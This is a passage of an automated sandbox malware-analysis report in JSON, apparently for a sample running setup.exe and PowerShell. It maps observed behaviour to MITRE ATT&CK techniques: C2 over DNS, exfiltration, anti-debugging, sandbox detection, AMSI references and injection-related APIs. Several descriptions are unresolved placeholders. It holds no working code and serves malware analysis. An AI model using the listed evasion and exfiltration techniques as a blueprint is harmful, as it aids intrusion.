hosts"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"malicious","value":"Detected multiple DNS responses with a low TTL"},{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"suspicious","value":"Contains ability to terminate a process"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$27","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"system.io.compression\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp, 00000000-00006612.00000002.216597.08020000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")\n Found string \"System.IO.Compression.ZipFile\" (Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00006612.00000002.216597.08020000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00006612.00000002.216597.08020000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"setup.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"setup.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"setup.exe\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006612)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006612)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006612)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2056545501185', 'hResInfo': '2056545502432'}\" (UID: 00000000-00006612)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2056545501185', 'hResInfo': '2056545502464'}\" (UID: 00000000-00006612)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2056545501185', 'hResInfo': '2056545502480'}\" (UID: 00000000-00006612)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2056545501185', 'hResInfo': '2056545502448'}\" (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibraryAndExitThread\" (Indicator: \"FreeLibrary\"; File: \"setup.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"setup.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"setup.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00006612-00000BC0-2316755191\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp\n 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp\n 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007752.00000001.211725.05230000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007752.00000001.211725.7F960000.00000020.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007752.00000002.212644.05230000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"setup.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"setup.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"setup.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"setup.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 14636-3639-004217B7\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007752-15883-72-00FA67CB\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007752-15883-74-00FA0D2C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007752-15883-1910-00FA162A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007752-15883-2721-00FA17B7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GlobalMemoryStatusEx@KERNEL32.DLL at 00000000-00007752-15883-436-00F8A44A\n Found reference to API GetSystemTimePreciseAsFileTime@KERNEL32.DLL at 00000000-00007752-15883-2727-00FA2722","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00006612.00000001.214679.07FE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006612.00000001.214679.07FE0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006612.00000002.216597.08060000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Detected XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \"-xor \"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.98834","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006612-00000C2C-2317923326\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006612-00000C2C-2318859217\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006612-00000C2C-2317923326\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006612-00000C2C-2318859217\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"setup.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006612-00000C2C-2316389988\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006612-00000C2C-2316390452\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006612-00000C2C-2319263709\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006612-00000C2C-2319263735\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"setup.exe\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"setup.exe\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"setup.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"setup.exe\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; File: \"setup.exe\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"setup.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"setup.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"setup.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; File: \"setup.exe\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00006612-00000C2C-2323276819\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"setup.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"setup.exe\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"setup.exe\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"setup.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006612-00000C2C-2318585567\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006612-00000C2C-2318585603\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006612)\n \"powershell.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006612)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006612)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6612\" - (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000000000000000000000 (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006612)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GlobalMemoryStatus@KERNEL32.dll at 14636-2062-0040A44A\n GlobalMemoryStatus@KERNEL32.DLL at 00000000-00007752-15883-436-00F8A44A\n GetTickCount@KERNEL32.DLL at 00000000-00007752-15883-1875-00F88946","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 14636-2839-0042FF9C\n FindFirstFileW@KERNEL32.DLL at 00000000-00007752-15883-374-00F88D20\n FindNextFileW@KERNEL32.DLL at 00000000-00007752-15883-397-00F88D89\n FindFirstFileExW@KERNEL32.DLL at 00000000-00007752-15883-2021-00FAFF9C","origin":"Hybrid Analysis 